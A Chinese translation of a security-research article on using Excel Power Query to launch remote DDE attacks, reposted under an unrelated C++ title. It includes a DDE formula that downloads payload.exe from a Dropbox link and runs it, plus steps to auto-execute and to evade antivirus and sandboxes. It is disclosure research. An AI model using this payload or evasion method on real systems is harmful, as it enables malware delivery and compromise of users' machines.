c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击

本文主要是介绍c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

译文声明

本文是翻译文章,文章原作者mimecast,文章来源:mimecast.com 原文地址:https://www.mimecast.com/blog/2019/06/exploit-using-microsoft-excel-power-query-for-remote-dde-execution-discovered/

译文仅供参考,具体内容表达以及含义原文为准

56249f6ff6a3f74fbcd4c06ab19c6443.png

0x00 前言

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center发现并开发了一种攻击技术,可以利用Microsoft Excel中的Power Query功能动态启动针对Excel电子表格的远程DDE(Dynamic Data Exchange)攻击,主动控制利用Power Query的payload。

Power Query是一款强大且可扩展的BI(Business Intelligence,商业智能)工具,可以帮助用户将电子表格与其他数据源(如外部数据库、文本文档、其他电子表格或者web页面等)集成。当链接外部源时,数据可以加载并保存到电子表格中,或者采用动态加载方式(比如当文档打开时再加载)。

Mimecast Threat Center团队发现将Power Query与其他攻击方法结合起来后,可以发起较为复杂的、难以检测的攻击行为。攻击者可以使用Power Query将恶意内容嵌入独立数据源中,然后在电子表格打开时将该内容载入表格中。恶意代码可以用来释放并执行恶意软件,攻陷用户主机。

Excel的这个特性提供了非常丰富的控制功能,可以在投递其他payload之前收集沙箱或者受害者主机的指纹信息。攻击者在攻击和payload投放前可能具备一定的控制能力,可以让沙箱或其他安全解决方案无法检测该文件的情况下,将恶意payload投放到受害者主机中。

Mimecast与微软合作,遵循CVD(Coordinated Vulnerability Disclosure,协调漏洞披露)流程来判断这是Power Query的正常行为还是需要解决的问题。微软目前拒绝发布修复补丁,决定提供一种解决办法来缓解此问题。

在本文中我们将详细分析如何利用Power Query来发起DDE攻击,通过文件共享站点来释放并执行payload。

0x01 利用Power Query的攻击方法

7d732dd6a13e2afdbd62f491d095ce8b.png

由于Power Query是Microsoft Excel中的一款强大工具,因此滥用该功能所能造成的潜在危险也不容忽视。如果成功利用,攻击者可以集合其他潜在的攻击面来发起复杂的攻击,包括本地权限提升、DDE攻击以及远程代码执行等。

Power Query功能可以帮助用户非常方便且动态地嵌入远程内容。这种攻击形式通常难以发现,使攻击者更有机会突破受害者主机。利用Power Query中的潜在脆弱性,攻击者可以嵌入任何恶意payload,并且这些payload不需要保存在文档中,可以在文档打开时从web远程下载。

为了演示如何利用Power Query来启动DDE攻击,我们可以编写一个自定义的简单HTTP服务器,在web页面上托管payload,然后将这个web页面载入电子表格中。HTTP服务器可以在本地80端口上监听,当收到来自电子表格的请求时,返回所需的DDE内容。

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

c44956d369c67939340778ea25693f0f.png

Microsoft Excel 2016电子表格使用Power Query来查询我们构造的恶意web页面(http://127.0.0.1:80)。

56efe5aa96a1171f7ce8bd05de72c5b6.png

随后远程内容会被读取并载入电子表格中。

fe6c5b13e317bd366b40c6905f6b3be4.png

我们可以使用Wireshark来捕捉攻击数据流。下图中高亮标记的数据包分别为包含DDE公式的数据包、对dropbox.com的DNS请求(payload.exe托管在Dropbox上)以及用来投放payload的HTTPS会话。

f7487f0fb62b672f5b72b4f178ecb6ab.png

e43c46a29a1a48074aefd03314bad06c.png

0x02 分析文件格式

7d732dd6a13e2afdbd62f491d095ce8b.png

分析文件格式后,我们可以看到table/table1.xml中包含name: “localhost”属性(默认)以及type: “queryTable”属性。

表格以及特定查询表格属性的链接位于.rels流中(_rels/table1.xml.rels),其中包含一个target字段,该字段指向的是../queryTables/queryTable1.xmlquetyTable1.xml会在标签下通过connectionId字段连接到connection.xml(该文件中包含所有文档连接属性)。程序会使用Select *命令通过dbPr对象发起连接。

web查询请求存放在xl\customXL\item1文档中,经过base64编码。

6b46b742e0af4d05457e28beb33f13a5.png

base64解码后,我们打开其中的section1文档,其中就包含查询请求。

56e6d3af40674e9ad816f33287838750.png

为了运行DDE,用户需要双击加载DDE的单元格,然后再次点击释放。这些操作将会触发DDE,启动来自web的payload。

0x03 绕过双击限制实现自动化执行

7d732dd6a13e2afdbd62f491d095ce8b.png

为了绕过“点击运行”限制,我们发现在老版的Microsoft Office对“从Web获取外部数据”的实现与现在版本有所不同。前面提到过,我们使用Microsoft Office 2016时会创建dbPr,用户需要采取某些操作才能激活payload(在沙箱等场景中,这种点击操作会达到沙箱绕过效果)。

当在老版本Office(比如2010)中“从Web获取外部数据”时,在Connections.xml下创建的对象并不是前文提到的dbPr,而是webPr,后者会更加简单。与dbPr不同,webPr并不需要任何用户操作,就可以运行payload。

da2c924622f9d83508d756d6e0b2a7f1.png

0x04 使用Power Query绕过AV及沙箱

7d732dd6a13e2afdbd62f491d095ce8b.png

我们可以在web请求中添加头部字段,使payload能够绕过专门针对这类恶意内容的反病毒软件以及沙箱环境。只有请求中包含特定的HTTP头部字段时,web服务器才会提供恶意内容。反病毒产品会从文件中提取HTTP服务器的URL地址,但并不会去解析头部数据。当AV发送测试请求时,服务器知道该请求来自于AV,而非电子表格。

只有当HTTP头中的Referer字段值设置为www.google.com时,我们才会提供DDE数据。

cd8dcd5639c6fbf3ede21c7b3ee612cb.png

我们可以在Power Query的“高级”模式中设定web请求头。Power Query会使用我们设置的Referer字段来发起web请求。

4d026382359a895ac804e1c4ecd3a388.png

如果另一个程序想尝试部分模拟Power Query的行为,不使用正确的Referer字段请求web页面,就不能得到正确结果。只有使用Microsoft Excel应用来打开原始文档时才能获取payload数据。

dfab9c64d0050f63f6bd94fe6cd4b3b8.png

由于沙箱环境也会在请求中发送自定义头部,因此我们需要一种新的方法来避免被检测。这里我们可以使用Power Query中的“auto refresh”(自动刷新)以及“refresh”(刷新)时间间隔参数。

2b1236d02eca459b1cc7f75a61d456d4.png

为了避免文件中存在恶意内容,使该文件被标记为恶意软件,我们可以强制让文件在打开时刷新数据,然后在保存文件前移除来自外部数据源的数据。这些属性可以确保在文件打开时会更新文件中的payload。我们可以设置文件每分钟刷新一次(这是最短的时间间隔),然后在第10次请求时提供payload数据。这意味着如果沙箱运行该文件的时间少于10分钟,那么就永远拿不到我们的payload。

927a9c34b3449ed4dda8db9bb2793a53.png

对于我们提供的攻击样例,大多数静态分析AV都检测不出该文件(其中并不包含payload数据),而沙箱或其他安全解决方案只会一次或者两次下载web内容,因此也检测不出来。

511955f9aa5e130a99721e7770a27d1e.png

0x05 缓解措施

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center团队向MRSC(Microsoft Security Response Center)反馈了我们得到的信息以及可用的PoC。MRSC创建了一个case,但决定不修复这种行为,而是采用组策略来组织外部数据连接或者使用Office Trust中心来缓解这个问题。MRSC同意我们根据CVD策略发布此次研究成果。

微软发布了一个安全公告(4053440),提供了为Microsoft Office应用进行安全设置的相关步骤及过程。该公告可以指导用户如何确保应用程序安全处理DDE字段。

攻击者一直都希望能够绕过受害者部署的检测机制。随着时间的推移,由于各种安全专家及信息共享平台都在分享威胁情报数据,因此这类攻击方式可能会被检测出来。Mimecast强烈建议所有Microsoft Excel客户部署微软提供的缓解方案,因为这类攻击方法可以对微软客户造成实际且有破坏性的安全风险。

Mimecast Targeted Threat Protection通过高级深入解析、去混淆处理,对每个文件进行实时代码分析,可以检测并阻止这种攻击技术。

92c1b7f4459248d6acd9f7c555e41821.gif

这篇关于c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/217227

相关文章

SpringBoot集成redisson实现延时队列教程

《SpringBoot集成redisson实现延时队列教程》文章介绍了使用Redisson实现延迟队列的完整步骤,包括依赖导入、Redis配置、工具类封装、业务枚举定义、执行器实现、Bean创建、消费... 目录1、先给项目导入Redisson依赖2、配置redis3、创建 RedissonConfig 配

Python的Darts库实现时间序列预测

《Python的Darts库实现时间序列预测》Darts一个集统计、机器学习与深度学习模型于一体的Python时间序列预测库,本文主要介绍了Python的Darts库实现时间序列预测,感兴趣的可以了解... 目录目录一、什么是 Darts?二、安装与基本配置安装 Darts导入基础模块三、时间序列数据结构与

C++右移运算符的一个小坑及解决

《C++右移运算符的一个小坑及解决》文章指出右移运算符处理负数时左侧补1导致死循环,与除法行为不同,强调需注意补码机制以正确统计二进制1的个数... 目录我遇到了这么一个www.chinasem.cn函数由此可以看到也很好理解总结我遇到了这么一个函数template<typename T>unsigned

Python使用FastAPI实现大文件分片上传与断点续传功能

《Python使用FastAPI实现大文件分片上传与断点续传功能》大文件直传常遇到超时、网络抖动失败、失败后只能重传的问题,分片上传+断点续传可以把大文件拆成若干小块逐个上传,并在中断后从已完成分片继... 目录一、接口设计二、服务端实现(FastAPI)2.1 运行环境2.2 目录结构建议2.3 serv

C#实现千万数据秒级导入的代码

《C#实现千万数据秒级导入的代码》在实际开发中excel导入很常见,现代社会中很容易遇到大数据处理业务,所以本文我就给大家分享一下千万数据秒级导入怎么实现,文中有详细的代码示例供大家参考,需要的朋友可... 目录前言一、数据存储二、处理逻辑优化前代码处理逻辑优化后的代码总结前言在实际开发中excel导入很

SpringBoot+RustFS 实现文件切片极速上传的实例代码

《SpringBoot+RustFS实现文件切片极速上传的实例代码》本文介绍利用SpringBoot和RustFS构建高性能文件切片上传系统,实现大文件秒传、断点续传和分片上传等功能,具有一定的参考... 目录一、为什么选择 RustFS + SpringBoot?二、环境准备与部署2.1 安装 RustF

Nginx部署HTTP/3的实现步骤

《Nginx部署HTTP/3的实现步骤》本文介绍了在Nginx中部署HTTP/3的详细步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学... 目录前提条件第一步:安装必要的依赖库第二步:获取并构建 BoringSSL第三步:获取 Nginx

MyBatis Plus实现时间字段自动填充的完整方案

《MyBatisPlus实现时间字段自动填充的完整方案》在日常开发中,我们经常需要记录数据的创建时间和更新时间,传统的做法是在每次插入或更新操作时手动设置这些时间字段,这种方式不仅繁琐,还容易遗漏,... 目录前言解决目标技术栈实现步骤1. 实体类注解配置2. 创建元数据处理器3. 服务层代码优化填充机制详

Python实现Excel批量样式修改器(附完整代码)

《Python实现Excel批量样式修改器(附完整代码)》这篇文章主要为大家详细介绍了如何使用Python实现一个Excel批量样式修改器,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一... 目录前言功能特性核心功能界面特性系统要求安装说明使用指南基本操作流程高级功能技术实现核心技术栈关键函

Java实现字节字符转bcd编码

《Java实现字节字符转bcd编码》BCD是一种将十进制数字编码为二进制的表示方式,常用于数字显示和存储,本文将介绍如何在Java中实现字节字符转BCD码的过程,需要的小伙伴可以了解下... 目录前言BCD码是什么Java实现字节转bcd编码方法补充总结前言BCD码(Binary-Coded Decima